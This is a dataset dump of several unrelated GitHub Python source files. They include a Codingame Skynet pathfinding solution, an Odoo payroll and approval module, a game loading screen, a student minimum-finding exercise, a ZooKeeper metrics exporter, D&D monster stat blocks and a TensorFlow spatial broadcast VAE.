self.nodes[link].links:\n                        if thelinks in self.gateways:\n                            foundgateways -= 1\n\n                    distance = tablenodes[minnode][0] + foundgateways\n\n                    # If the difference is lower than the one registered on the nodes path table\n                    # or if the distance is equal but the path is shorter.\n                    # We update the nodes path table (\"tablenodes\") for the current node (link)\n                    pathsizemin = len(tablenodes[minnode][1].split(\";\")[:-1])\n                    pathsizelink = len(tablenodes[link][1].split(\";\")[:-1])\n\n                    if distance < tablenodes[link][0] or \\\n                            (distance == tablenodes[link][0] and pathsizelink > pathsizemin):\n                        tablenodes[link][0] = distance\n                        tablenodes[link][1] = tablenodes[minnode][1] + str(link) + \";\"\n\n        # We exit the while loop if all the nodes have been visited.\n        # The table of nodes path is now updated with all the\n        # possible minimum paths. We return the node table.\n        return tablenodes\n\n    # -------------------------------------------------------------------------------------------------\n    # Method to call the generic shortestPaths method for every single gateway\n    # returning only the shortest path to the Agent containing the link thas has to be severed\n    # -------------------------------------------------------------------------------------------------\n    def bestPath(self, agent):\n\n        # We keep track of the minimum length of the path and the bestpath\n        minlen = math.inf\n        bestpath = []\n\n        # For every gate in the Skynet\n        for gate in self.gateways.keys():\n\n            # Obtaning all the paths and choosing the one driving to the agent\n            tablenodes = self.shortestPaths(gate)\n            path = tablenodes[agent][1].split(\";\")[:-1]\n\n            # If the calculated value of the length of the path is lower...\n            # ...taking into account the gateway logic in \"shortestPaths\"\n            if tablenodes[agent][0] < minlen:\n                minlen = tablenodes[agent][0]\n                closestgate = gate\n                bestpath = path\n            # If it is equal, we compare the actual length of the path\n            elif tablenodes[agent][0] == minlen:\n                if len(path) < len(bestpath):\n                    minlen = tablenodes[agent][0]\n                    closestgate = gate\n                    bestpath = path\n\n        # we delete the link (both ways) so it is not considered in next turns as a valid link\n        del self.nodes[int(bestpath[0])].links[int(bestpath[1])]\n        del self.nodes[int(bestpath[1])].links[int(bestpath[0])]\n\n        return bestpath\n\n    def __str__(self):\n\n        string = \"Skynet size:\" + str(self.size) + \"\\n\\n\"\n        for node in self.nodes.values():\n            string = string + str(node) + \"\\n\"\n\n        string = string + \"\\nSkynet Gateways: \" + str(self.numgateways) + \" => \" + str(self.gateways)\n        return string\n\n\nclass Node:\n\n    def __init__(self, key):\n        self.key = key\n        self.links = {}\n\n    def __str__(self):\n        string = str(self.key) + \" linked to: \"\n        for i in self.links:\n            string = string + str(i) + \",\"\n\n        return (string[:-1])\n\n# --------------- Main program -----------------------\n\nnumnodes, numlinks, numgates = [int(i) for i in input().split()]\n\n# We create the Skynet network\nmySky = Skynet(numnodes, numlinks, numgates)\n\n# We add all links to the Skynet\nfor i in range(numlinks):\n    mySky.addLink([int(j) for j in input().split()])\n\n# We add al gateways to the Skynet\nfor i in range(numgates):\n    mySky.addGateway(int(input()))\n\n# game loop\nwhile True:\n    # Find the best path for the node on which the Skynet agent is positioned this turn (int(input()))\n    thepath = mySky.bestPath(int(input()))\n    print (thepath[0]+\" \"+thepath[1])\n\n\n","repo_name":"fgsdt1/Codingame","sub_path":"Skynet2.py","file_name":"Skynet2.py","file_ext":"py","file_size_in_byte":7946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24177251943","text":"from odoo import fields, models, api, _\nfrom datetime import datetime, timedelta\nfrom odoo.exceptions import ValidationError\n\nGLOBAL_FIELDS_NAME = [\"Basic Salary\", \"Housing\", \"Annual Gross\", \"Transport Allowance\", \"Allowance\",\n                      \"Utility Allowance\", \"Total Annual Earnings\", \"Leave Allowance\", \"PIT\",\n                      \"Transport & Comm Allowance (Sales Only)\", \"Hazard Allowance\",\n                      \"Employee Pension Contribution\", \"Employer Pension Contribution\",\n                      \"Annual Gross of CRA\", \"Total Pension\", \"TAXABLE INCOME\", \"Annual Pension\",\n                      \"Annual PAYE\", \"Monthly PAYE\", \"Monthly Gross Income\", \"Surcharge\", \"Loan deduction\",\n                      \"Gross\", \"Attachment of Salary\", \"Assignment of Salary\", \"Child Support\", \"Deduction\",\n                      \"Reimbursement\", \"Net Salary\"]\n\nGLOBAL_LABELS_NAME = {\"Basic Salary\":\"amt_total_basic_salary\", \"Housing\":\"amt_total_housing\",\n                      \"Annual Gross\":\"amt_total_annual_gross\", \"Transport Allowance\":\"amt_total_transport_allowance\",\n                      \"Allowance\":\"amt_total_allowance\", \"Utility Allowance\":\"amt_total_utility_allowance\",\n                         \"Total Annual Earnings\":\"amt_total_total_annual_earnings\", \"Leave Allowance\":\"amt_total_leave_allowance\",\n                         \"PIT\":\"amt_total_pit\", \"Transport & Comm Allowance (Sales Only)\":\"amt_total_transport_comm_allowance\",\n                         \"Hazard Allowance\":\"amt_total_hazard_allowance\",\n                         \"Employee Pension Contribution\":\"amt_total_employee_pension_contribution\",\n                         \"Employer Pension Contribution\":\"amt_total_employer_pension_contribution\",\n                         \"Annual Gross of CRA\":\"amt_total_annual_gross_of_cra\", \"Total Pension\":\"amt_total_total_pension\",\n                         \"TAXABLE INCOME\":\"amt_total_taxable_income\", \"Annual Pension\":\"amt_total_annual_pension\",\n                         \"Annual PAYE\":\"amt_total_annual_paye\", \"Monthly PAYE\":\"amt_total_monthly_paye\",\n                         \"Monthly Gross Income\":\"amt_total_monthly_gross_income\", \"Surcharge\":\"amt_total_surcharge\",\n                         \"Loan deduction\":\"amt_total_load_deduction\", \"Gross\":\"amt_total_gross\",\n                         \"Attachment of Salary\":\"amt_total_attachment_salary\", \"Assignment of Salary\":\"amt_total_assignment_salary\",\n                         \"Child Support\":\"amt_total_child_support\", \"Deduction\":\"amt_total_deduction\",\n                         \"Reimbursement\":\"amt_total_reimbursement\", \"Net Salary\":\"amt_total_net_salary\"}\n\n\nclass HRPayslip(models.Model):\n    _inherit = \"hr.payslip\"\n\n    amt_total_basic_salary = fields.Float(\"Basic Salary\", compute=\"_wb_computation_total\")\n    amt_total_housing = fields.Float(\"Housing\", compute=\"_wb_computation_total\")\n    amt_total_annual_gross = fields.Float(\"Annual Gross\", compute=\"_wb_computation_total\")\n    amt_total_transport_allowance = fields.Float(\"Transport Allowance\", compute=\"_wb_computation_total\")\n    amt_total_allowance = fields.Float(\"Allowance\", compute=\"_wb_computation_total\")\n    amt_total_utility_allowance = fields.Float(\"Utility Allowance\", compute=\"_wb_computation_total\")\n    amt_total_total_annual_earnings = fields.Float(\"Total Annual Earnings\", compute=\"_wb_computation_total\")\n    amt_total_leave_allowance = fields.Float(\"Leave Allowance\", compute=\"_wb_computation_total\")\n    amt_total_pit = fields.Float(\"PIT\", compute=\"_wb_computation_total\")\n    amt_total_transport_comm_allowance = fields.Float(\"Transport & Comm Allowance (Sales Only)\",\n                                                        compute=\"_wb_computation_total\")\n    amt_total_hazard_allowance = fields.Float(\"Hazard Allowance\", compute=\"_wb_computation_total\")\n    amt_total_employee_pension_contribution = fields.Float(\"Employee Pension Contribution\",\n                                                             compute=\"_wb_computation_total\")\n    amt_total_employer_pension_contribution = fields.Float(\"Employer Pension Contribution\",\n                                                             compute=\"_wb_computation_total\")\n    amt_total_annual_gross_of_cra = fields.Float(\"Annual Gross of CRA\", compute=\"_wb_computation_total\")\n    amt_total_total_pension = fields.Float(\"Total Pension\", compute=\"_wb_computation_total\")\n    amt_total_taxable_income = fields.Float(\"TAXABLE INCOME\", compute=\"_wb_computation_total\")\n    amt_total_annual_pension = fields.Float(\"Annual Pension\", compute=\"_wb_computation_total\")\n    amt_total_annual_paye = fields.Float(\"Annual PAYE\", compute=\"_wb_computation_total\")\n    amt_total_monthly_paye = fields.Float(\"Monthly PAYE\", compute=\"_wb_computation_total\")\n    amt_total_monthly_gross_income = fields.Float(\"Monthly Gross Income\", compute=\"_wb_computation_total\")\n    amt_total_surcharge = fields.Float(\"Surcharge\", compute=\"_wb_computation_total\")\n    amt_total_load_deduction = fields.Float(\"Loan deduction\", compute=\"_wb_computation_total\")\n    amt_total_gross = fields.Float(\"Gross\", compute=\"_wb_computation_total\")\n    amt_total_attachment_salary = fields.Float(\"Attachment of Salary\", compute=\"_wb_computation_total\")\n    amt_total_assignment_salary = fields.Float(\"Assignment of Salary\", compute=\"_wb_computation_total\")\n    amt_total_child_support = fields.Float(\"Child Support\", compute=\"_wb_computation_total\")\n    amt_total_deduction = fields.Float(\"Deduction\", compute=\"_wb_computation_total\")\n    amt_total_reimbursement = fields.Float(\"Reimbursement\", compute=\"_wb_computation_total\")\n    amt_total_net_salary = fields.Float(\"Net Salary\", compute=\"_wb_computation_total\")\n    \n    def _wb_computation_total(self):\n        for rec in self:\n            labels = GLOBAL_LABELS_NAME.keys()\n            prepare_vals = {}\n            for line in GLOBAL_LABELS_NAME.values():\n                if not rec[line]:\n                    prepare_vals[line] = 0\n            for line in rec.line_ids:\n                if line.name in labels:\n                    if prepare_vals.get(line.name, 0):\n                        prepare_vals[GLOBAL_LABELS_NAME.get(line.name)] += line.total\n                    else:\n                        prepare_vals[GLOBAL_LABELS_NAME.get(line.name)] = line.total\n            if prepare_vals:\n                rec.write(prepare_vals)\n\n\nclass Tickets(models.Model):\n    _inherit = \"helpdesk.ticket\"\n\n    exp_finish_date = fields.Datetime(string=\"~Expected Finish Date\", compute=\"_onchange_sla_status_ids\")\n    exp_finish_sla_date = fields.Datetime(string=\"~Expected Finish Date2\", compute=\"_onchange_sla_status_ids\")\n\n    @api.onchange(\"sla_status_ids\")\n    def _onchange_sla_status_ids(self):\n        for rec in self:\n            today = rec.create_date\n            for sla in rec.sla_status_ids:\n                if sla.sla_id.time:\n                    today += timedelta(hours=sla.sla_id.time)\n            rec.exp_finish_sla_date = today\n            today = rec.create_date\n            if rec.ticket_type_id:\n                working_days = rec.ticket_type_id.time / 24\n                # today += timedelta(hours=rec.ticket_type_id.time)\n                today = self.date_by_adding_working_days(rec.create_date, working_days)\n            rec.exp_finish_date = today\n\n    def date_by_adding_working_days(self, from_date, add_days):\n        import datetime\n        business_days_to_add = add_days\n        current_date = from_date\n        while business_days_to_add > 0:\n            current_date += datetime.timedelta(days=1)\n            weekday = current_date.weekday()\n            if weekday >= 5:  # sunday = 6\n                continue\n            business_days_to_add -= 1\n        return current_date\n\n\nclass TicketType(models.Model):\n    _inherit = \"helpdesk.ticket.type\"\n\n    time = fields.Float('In', help='Time to reach given stage based on ticket creation date', default=0, required=True)\n\n\nclass HRExpense(models.Model):\n    _inherit = \"hr.expense.sheet\"\n\n    state = fields.Selection([\n        ('draft', 'Draft'),\n        ('submit', 'Submitted'),\n        ('approved_manager', 'Approved By Manager'),\n        ('interal_audit', 'Internal Audit'),\n        ('approve', 'Approved'),\n        ('post', 'Posted'),\n        ('done', 'Paid'),\n        ('cancel', 'Refused')\n    ], string='Status', index=True, readonly=True, track_visibility='onchange', copy=False, default='draft',\n        required=True, help='Expense Report State')\n\n    def _do_approve(self):\n        self._check_can_approve()\n\n        notification = {\n            'type': 'ir.actions.client',\n            'tag': 'display_notification',\n            'params': {\n                'title': _('There are no expense reports to approve.'),\n                'type': 'warning',\n                'sticky': False,  #True/False will display for few seconds if false\n            },\n        }\n\n        filtered_sheet = self.filtered(lambda s: s.state in ['submit', 'draft', 'approved_manager', 'interal_audit'])\n        if not filtered_sheet:\n            return notification\n        for sheet in filtered_sheet:\n            sheet.write({'state': 'approve', 'user_id': sheet.user_id.id or self.env.user.id})\n        notification['params'].update({\n            'title': _('The expense reports were successfully approved.'),\n            'type': 'success',\n            'next': {'type': 'ir.actions.act_window_close'},\n        })\n\n        self.activity_update()\n        return notification\n\n    def action_manager_approve(self):\n        for rec in self:\n            if rec.state == \"submit\":\n                rec.state = \"approved_manager\"\n\n    def action_audit_manager_approve(self):\n        for rec in self:\n            if rec.state == \"approved_manager\":\n                rec.state = \"interal_audit\"\n\n\nclass Purchase(models.Model):\n    _inherit = \"purchase.order\"\n\n    is_approval_by_ceo = fields.Boolean(string=\"Approval by CEO?\", compute=\"_is_approval_by_ceo\")\n\n    def _is_approval_by_ceo(self):\n        amount = float(self.env['ir.config_parameter'].sudo().get_param('po_approval_config', '0'))\n        for rec in self:\n            rec.is_approval_by_ceo = False\n            if rec.amount_total < amount:\n                rec.is_approval_by_ceo = True\n\n    def approved_by_ceo(self):\n        for rec in self:\n            amount = float(self.env['ir.config_parameter'].sudo().get_param('po_approval_config', '0'))\n            if rec.amount_total < amount:\n                rec.x_studio_selection_field_m7jU2 = \"Approved\"\n            else:\n                rec.x_studio_selection_field_m7jU2 = \"Awaiting MD Approval\"\n\n    def approved_by_manager(self):\n        for rec in self:\n            rec.x_studio_selection_field_m7jU2 = \"Approved\"\n\n    def checkWritablePermission(self):\n        not_editable = False\n        if self.x_studio_selection_field_m7jU2 in (\"Awaiting CFO Approval\",\"Awaiting MD Approval\",\"Approved\") \\\n                and not self.env.user.has_group('wb_general.po_editor_group'):\n            not_editable = True\n        if not_editable:\n            raise ValidationError(_(\"You don't have access rights to edit purchase order.\"))\n\n    def write(self, vals):\n        for rec in self:\n            rec.checkWritablePermission()\n        return super(Purchase, self).write(vals)\n\n\nclass Partner(models.Model):\n    _inherit = \"res.partner\"\n\n    @api.model\n    def _name_search(self, name='', args=None, operator='ilike', limit=100, name_get_uid=None):\n        args = args or []\n        if name:\n            args = ['|',('name',operator, name), ('x_studio_customer_id', operator, name)]\n            name = ''\n        return super(Partner, self)._name_search(name=name, args=args, operator=operator, limit=limit, name_get_uid=name_get_uid)","repo_name":"basseyroro/fob-kkon5","sub_path":"wb_general/models/hr.py","file_name":"hr.py","file_ext":"py","file_size_in_byte":11697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10319921385","text":"from __future__ import division\n\nimport PyCEGUI\nimport timeit\n\nfrom config.loadingscreens import loading_screens_by_map\n\nclass GUILoading:\n\tdef __init__(self, application):\n\t\tself.application = application\n\t\tself.window = PyCEGUI.WindowManager.getSingleton().loadLayoutFromFile(\"Loading.layout\")\n\t\tif int(self.application.settings.get(\n\t\t\t\t\t\t\t\t\"FIFE\", \"ScreenResolution\", \"1024x768\").split(\"x\")[0]) > 1024:\n\t\t\tself.window.setProperty(\"Image\", \"Loadscreen01/full_image\")\n\t\tself.default_image = self.window.getProperty(\"Image\")\n\t\tself.action = None\n\t\tself.visible = False\n\t\tself.fade_duration = 1\n\t\tself.fade_start = 0\n\n\tdef show(self):\n\t\tself.window.show()\n\t\tself.window.moveToFront()\n\t\tself.window.setAlpha(1)\n\t\tself.visible = True\n\n\tdef showFade(self, action, map=None):\n\t\tself.show()\n\t\tself.window.setAlpha(0)\n\t\tself.fade_start = timeit.default_timer()\n\t\tself.action = action\n\t\timage = loading_screens_by_map.get(map)\n\t\tif image is not None:\n\t\t\tself.window.setProperty(\"Image\", image + \"/full_image\")\n\t\telse:\n\t\t\tself.window.setProperty(\"Image\", self.default_image)\n\t\t\n\tdef hideFade(self):\n\t\tself.visible = False\n\t\tself.fade_start = 0\n\n\tdef update(self):\n\t\tif not self.window.isVisible():\n\t\t\treturn\n\t\tif self.visible:\n\t\t\tself.window.setAlpha((timeit.default_timer() - self.fade_start) / self.fade_duration)\n\t\t\tif (self.window.getAlpha() >= 1) and self.action:\n\t\t\t\tself.action()\n\t\t\t\tself.action = None\n\t\telse:\n\t\t\tif self.fade_start == 0:\n\t\t\t\tself.fade_start = timeit.default_timer()\n\t\t\tself.window.setAlpha(\n\t\t\t\t1 - (timeit.default_timer() - self.fade_start) / self.fade_duration)\n\t\t\tif self.window.getAlpha() <= 0:\n\t\t\t\tself.window.hide()\n","repo_name":"Niektory/steamfolktales","sub_path":"scripts/guiloading.py","file_name":"guiloading.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72337471049","text":"\"\"\"\nTask 3.\nWrite a program that queries the user for three numbers and outputs the smallest of them.\nExample run:\nGive the first number: 11\nGive the second number: 4\nGive the last number: 7\nSmallest number is: 4\nMake sure it works with all the following numbers (given in this order, one line per program\nrun):\n1,2,3\n3,2,1\n1,3,2\nAlso:\n3,3,2\n3,2,3\n2,3,3\nIf you succesfully get the smallest output in all these six cases, you most likely get any other\narrangement correct as well.\nIf you feel like it, test with these remaining cases as well:\n2,3,1\n2,1,3\n3,1,2\n\"\"\"\n# queries the user for three numbers\nfirstNumber = int(input(\"Give the first number: \"))\nsecondNumber = int(input(\"Give the second number: \"))\nthirdNumber = int(input(\"Give the third number: \"))\n\n# Check shortest number and print\nif firstNumber < ( secondNumber and thirdNumber):\n    smallestNumber = firstNumber\n    print(\"smallest number is\", smallestNumber)\n\nif secondNumber < ( firstNumber and thirdNumber):\n    smallestNumber = secondNumber\n    print(\"smallest number is\", smallestNumber)\n\nif thirdNumber < ( secondNumber and firstNumber):\n    smallestNumber = thirdNumber\n    print(\"smallest number is\", smallestNumber)","repo_name":"humayun-rashid/python-problems","sub_path":"Assignment-1/task-3.py","file_name":"task-3.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23610122030","text":"import os\r\nimport io\r\nimport flask\r\nimport socket\r\nimport concurrent.futures\r\n\r\nservers=os.environ.get(\"ZOOKEEPER\", \"localhost:2181\").split(\",\")\r\n\r\ndef query(hostport):\r\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\thp = hostport.split(\":\", 1)\r\n\ttry:\r\n\t\ts.settimeout(3)\r\n\t\tif len(hp)==2:\r\n\t\t\ts.connect((hp[0], int(hp[1])))\r\n\t\telse:\r\n\t\t\ts.connect((hp[0], 2181))\r\n\t\t\r\n\t\ts.send(b\"srvr\")\r\n\t\treturn s.recv(4096).decode(\"UTF-8\")\r\n\texcept Exception as e:\r\n\t\treturn \"Error: %s\" % e\r\n\tfinally:\r\n\t\ts.close()\r\n\r\ndef safe_label(name):\r\n\treturn name.replace(\"-\",\"_\").replace(\".\",\"_\")\r\n\r\ndef collect():\r\n\tex = concurrent.futures.ThreadPoolExecutor(max_workers=3)\r\n\tmresult = ex.map(query, servers)\r\n\t\r\n\tvalues = \"\"\r\n\tmodes = {}\r\n\tfor server,data in zip(servers, mresult):\r\n\t\tfor line in io.StringIO(data):\r\n\t\t\tk,v = [v.strip() for v in line.split(\":\", 1)]\r\n\t\t\t\r\n\t\t\tif k == \"Mode\":\r\n\t\t\t\tmodes[server] = v\r\n\t\t\tif k in [\"Received\", \"Sent\", \"Connections\", \"Outstanding\", \"Node count\"]:\r\n\t\t\t\tvalues += 'zk_%s{server=\"%s\"} %s\\r\\n' % (\r\n\t\t\t\t\tk.lower().replace(\" \",\"_\"),\r\n\t\t\t\t\tserver,\r\n\t\t\t\t\tv)\r\n\t\t\tif k == \"Error\":\r\n\t\t\t\tvalues += 'zk_%s{server=\"%s\",message=\"%s\"} 1\\r\\n' % (\r\n\t\t\t\t\tk.lower().replace(\" \",\"_\"),\r\n\t\t\t\t\tserver,\r\n\t\t\t\t\tv)\r\n\tlut = [\"leader\", \"follower\"]\r\n\tparams = \",\".join(['%s=\"%s\"' % (safe_label(k), lut.index(v)) for k,v in modes.items()])\r\n\tvalues += \"zk_modes{%s} 1\\r\\n\" % params\r\n\treturn values\r\n\r\napp = flask.Flask(__name__)\r\n\r\n@app.route(\"/metrics\", methods=[\"GET\"])\r\ndef metrics():\r\n\treturn collect()\r\n\r\ndef cli():\r\n\tprint(collect())\r\n\r\nif __name__==\"__main__\":\r\n\tcli()\r\n","repo_name":"hkwi/zookeeper_exporter","sub_path":"zookeeper_exporter.py","file_name":"zookeeper_exporter.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73553394568","text":"import fileinput;\nimport sys\nimport numpy as np;\n\n# Infile and outfile declaration from system args\nfilein = sys.argv[1]\n\nf = open(filein,'r')\n\nfiledata = f.readline()\n\ntimes = np.zeros(int(filedata)/2);\n\nfor i in range(0, int(filedata)/2):\n      a = f.readline();\n      b = f.readline();\n      times[i] = (int(b) - int(a))\n\n\nwhole = 0;\nfor j in range(0, int(filedata)/2):\n      whole = whole + times[j];\n\navg = whole / (int(filedata)/2);\n\nprint(\"The avg of all the file creates was \" + str(avg) + \" milliseconds\");\n\n\nf.close();\n","repo_name":"DanielThurau/DTG-Benchmarking","sub_path":"Meta/Linux/scripts/avgResults.py","file_name":"avgResults.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15974549054","text":"from entity import Size, Attack, DamageType, AbilityType\n\nBUGBEAR = {\n    'ac': 16,\n    'max_hp': 27,\n    'size': Size.MEDIUM,\n    # 'attack': Attack('Morningstar', 2, 8, 2, DamageType.PIERCING),\n    'attacks': [\n        Attack('Morningstar', 2, 8, 2, DamageType.PIERCING),\n    ],\n    'name': 'Bugbear',\n    'faction': 'monster',\n    'abilities': {'str': 15, 'dex': 14, 'con': 13, 'int': 8, 'wis': 11, 'cha': 9}\n}\n\nSKELETON = {\n    'ac': 13,\n    'max_hp': 13,\n    'size': Size.MEDIUM,\n    'attacks': [Attack('Shortsword', 1, 6, 2, DamageType.PIERCING, AbilityType.DEX), ],\n    'name': 'Skeleton',\n    'faction': 'monster',\n    'abilities': {'str': 10, 'dex': 14, 'con': 15, 'int': 6, 'wis': 8, 'cha': 5}\n}\n\nZOMBIE = {\n    'ac': 8,\n    'max_hp': 22,\n    'size': Size.MEDIUM,\n    'attacks': [Attack('Slam', 1, 6, 1, DamageType.BLUDGEONING), ],\n    'name': 'Zombie',\n    'faction': 'monster',\n    'abilities': {'str': 13, 'dex': 6, 'con': 16, 'int': 3, 'wis': 6, 'cha': 5}\n}\n\nGOBLIN = {\n    'ac': 15,\n    'max_hp': 7,\n    'size': Size.SMALL,\n    'attacks': [Attack('Scimitar', 1, 6, 2, DamageType.SLASHING, AbilityType.DEX), ],\n    'name': 'Goblin',\n    'faction': 'monster',\n    'abilities': {'str': 8, 'dex': 14, 'con': 10, 'int': 10, 'wis': 8, 'cha': 8}\n}\n\nLIZARDFOLK = {\n    'ac': 15,\n    'max_hp': 22,\n    'size': Size.MEDIUM,\n    'attacks': [\n        Attack('Heavy Club', 1, 8, 3, DamageType.BLUDGEONING),\n        Attack('Spiked Shield', 1, 8, 3, DamageType.PIERCING)\n    ],\n    'name': 'Lizardfolk',\n    'faction': 'monster',\n    'abilities': {'str': 15, 'dex': 10, 'con': 13, 'int': 7, 'wis': 12, 'cha': 7}\n}\n\n# Villagers\n\nCOMMONER = {\n    'ac': 10,\n    'max_hp': 4,\n    'size': Size.MEDIUM,\n    'attacks': [Attack('Club', 1, 6, 0, DamageType.BLUDGEONING),],\n    'name': 'Commoner',\n    'faction': 'villager',\n}\n\nVETERAN = {\n    'ac': 17,\n    'max_hp': 58,\n    'size': Size.MEDIUM,\n    'attacks': [\n        Attack('Longsword', 1, 8, 3, DamageType.SLASHING),\n        Attack('Longsword', 1, 8, 3, DamageType.SLASHING),\n        Attack('Shortsword', 1, 6, 3, DamageType.SLASHING),\n    ],\n    'name': 'Veteran',\n    'faction': 'villager',\n    'abilities': {'str': 16, 'dex': 13, 'con': 14, 'int': 10, 'wis': 11, 'cha': 10}\n}\n\nGUARD = {\n    'ac': 16,\n    'max_hp': 11,\n    'size': Size.MEDIUM,\n    'attacks': [\n        Attack('Spear', 1, 6, 1, DamageType.SLASHING),\n    ],\n    'name': 'Guard',\n    'faction': 'villager',\n    'abilities': {'str': 13, 'dex': 12, 'con': 12, 'int': 10, 'wis': 11, 'cha': 10}\n}","repo_name":"Streamweaver/FightClub5e","sub_path":"mobs.py","file_name":"mobs.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8239889640","text":"import tensorflow_probability as tfp\nfrom tensorflow.python.keras.layers import Dense, Flatten, Conv2D, ReLU, InputLayer\nimport tensorflow as tf\n\nclass Encoder(tf.keras.layers.Layer):\n    \"\"\"\"Encoder class for use in convolutional VAE\n\n    Args:\n        latent_dim: dimensionality of latent distribution\n\n    Attributes:\n        encoder_conv: convolution layers of encoder\n        fc_mu: fully connected layer for mean in latent space\n        fc_log_var: fully connceted layers for log variance in latent space\n    \"\"\"\n\n    def __init__(self, latent_dim=6):\n        super().__init__()\n        self.latent_dim = latent_dim\n\n        self.encoder_conv = tf.keras.Sequential(\n            [\n            # shape: [batch_size, 56, 56, 1]\n            InputLayer(input_shape=(56, 56, 1)),\n\n            # shape: [batch_size, 28, 28, 64 ]\n            Conv2D(filters = 64,\n                   kernel_size=4,\n                   strides=2,\n                   padding=\"same\",\n                   activation='relu'),\n\n            # shape: [batch_size, 14, 14, 64]\n            Conv2D(filters = 64,\n                   kernel_size=4,\n                   strides=2,\n                   padding=\"same\",\n                   activation='relu'),\n\n            # shape: [batch_size, 7, 7, 64]\n            Conv2D(filters = 64,\n                   kernel_size=4,\n                   strides=2,\n                   padding=\"same\",\n                   activation='relu'),\n\n            # shape: [batch_size, 4, 4, 64]\n            Conv2D(filters = 64,\n                   kernel_size=4,\n                   strides=2,\n                   padding=\"same\",\n                   activation='relu'),\n\n            # shape: [batch_size, 1024]\n            Flatten(),\n\n            # shape: [batch_size, 256]\n            Dense(256),\n            ReLU()\n            ]\n        )\n\n\n        # shape: [batch_size, self.latent_dim]\n        self.fc_mu = tf.keras.Sequential(\n            Dense(self.latent_dim),\n        )\n        self.fc_log_var = tf.keras.Sequential(\n            Dense(self.latent_dim),\n        )\n\n    def forward(self, inp):\n        out = self.encoder_conv(inp)\n        mu = self.fc_mu(out)\n        log_var = self.fc_log_var(out)\n        return [mu, log_var]\n\n\nclass SpatialBroadcastDecoder(tf.keras.layers.Layer):\n    \"\"\"SBD class for use in VAE, structure based on paper\n       https://arxiv.org/pdf/1901.07017.pdf\n\n    Args:\n        latent_dim: dimensionality of latent distribution\n\n    Attributes:\n        img_size: image size (necessary for tiling)\n        decoder_conv: convolution layers of decoder (also upsampling)\n    \"\"\"\n\n    def __init__(self, latent_dim):\n        super().__init__()\n\n        self.latent_dim = latent_dim\n        self.img_size = 56\n\n\n        self.decoder_conv = tf.keras.Sequential(\n            [\n            # Input_shape [batch_size, 56, 56, latent_dim + 2]\n\n\n            # shape: [batch_size, 56, 56, 64]\n            Conv2D(filters = 64,\n                   strides=(1, 1),\n                   kernel_size=(3,3),\n                   padding=\"same\",\n                   activation = \"relu\"),\n\n           # shape [batch_size, 56, 56, 64]\n            Conv2D(filters = 64,\n                   strides=(1,1),\n                   kernel_size=(3, 3),\n                   padding=\"same\",\n                   activation = \"relu\"),\n\n            # shape [batch_size, 56, 56, 1]\n            Conv2D(filters = 1,\n                   strides=(1,1),\n                   kernel_size=(3, 3),\n                   padding=\"same\"),\n\n            ]\n        )\n\n\n    def call(self, z):\n\n        batch_size = z.shape[0]\n\n        # broadcast (tile) latent sample of size k to image width w, height h\n\n        h = w = self.img_size\n\n        # z.shape [batch_size, latent_dim] LATENTS\n        # z_b.shape [batch_size, 25088] TILED LATENTS\n        z_b = tf.tile(z, [1, h * w])\n\n\n        # Reshape tensor\n        # z_b.shape [batch_size, 56, 56, latent_dim]\n        z_b = tf.reshape(z_b, [batch_size, h, w, self.latent_dim])\n\n\n        # Fixed coordinate channels  -->  X, Y COORDINATE CHANNELS\n        x = tf.linspace(tf.constant(-1, tf.float32), tf.constant(1, tf.float32), w)\n        y = tf.linspace(tf.constant(-1, tf.float32), tf.constant(1, tf.float32), w)\n\n\n        # Reshape operations\n\n        # shape [56, 56]\n        xb, yb = tf.meshgrid(x, y)\n\n        # shape [56, 56, 1]\n        xb = tf.expand_dims(xb, 2)\n        yb = tf.expand_dims(yb, 2)\n\n\n        def concat(element):\n          \"\"\" This function concatenates z_b, xb, y_b\n          --> TILED LATENTS + X,Y COORDINATES  \"\"\"\n\n          # shape [56, 56, latent_dim +2]\n          res = tf.concat(axis=2, values=[element, xb, yb])\n          return res\n\n\n        # shape [batch_size, 56, 56, latent_dim +2)]\n        z_sb = tf.map_fn(lambda m: concat(m), z_b)\n\n\n        # Apply convolutional layers (!unstrided!)\n        mu_D = self.decoder_conv(z_sb)\n\n        return mu_D\n\n\nclass BroadcastVAE(tf.keras.Model):\n    \"\"\"A simple VAE class\n\n    Args:\n        vae_tpe: type of VAE either 'Standard' or 'SBD'\n        latent_dim: dimensionality of latent distribution\n        fixed_var: fixed variance of decoder distribution\n    \"\"\"\n\n    def __init__(self, latent_dim):\n        super().__init__()\n        self.latent_dim = latent_dim\n\n        self.model_name = \"spatial-VAE\"\n\n        self.decoder = SpatialBroadcastDecoder(latent_dim=latent_dim)\n        self.encoder = Encoder(latent_dim=latent_dim)\n\n\n    @tf.function\n    def sample(self, epsilon=None):\n        if epsilon is None:\n            epsilon = tf.random.normal(shape=(100, self.latent_dim))\n        \n        return self.decode(epsilon, apply_sigmoid=True)\n\n\n    def encode(self, x):\n        mean, logvar = self.encoder.forward(x)\n        return mean, logvar\n\n\n    def decode(self, z, apply_sigmoid=False):\n        # get decoder distribution parameters\n        mu_D = self.decoder(z)\n\n        # if sigmoid is applied\n        if apply_sigmoid:\n          probs = tf.sigmoid(mu_D)\n          return probs\n\n        return mu_D\n","repo_name":"goody139/IANNWTF","sub_path":"Final Project/models/broadcast_vae.py","file_name":"broadcast_vae.py","file_ext":"py","file_size_in_byte":5981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
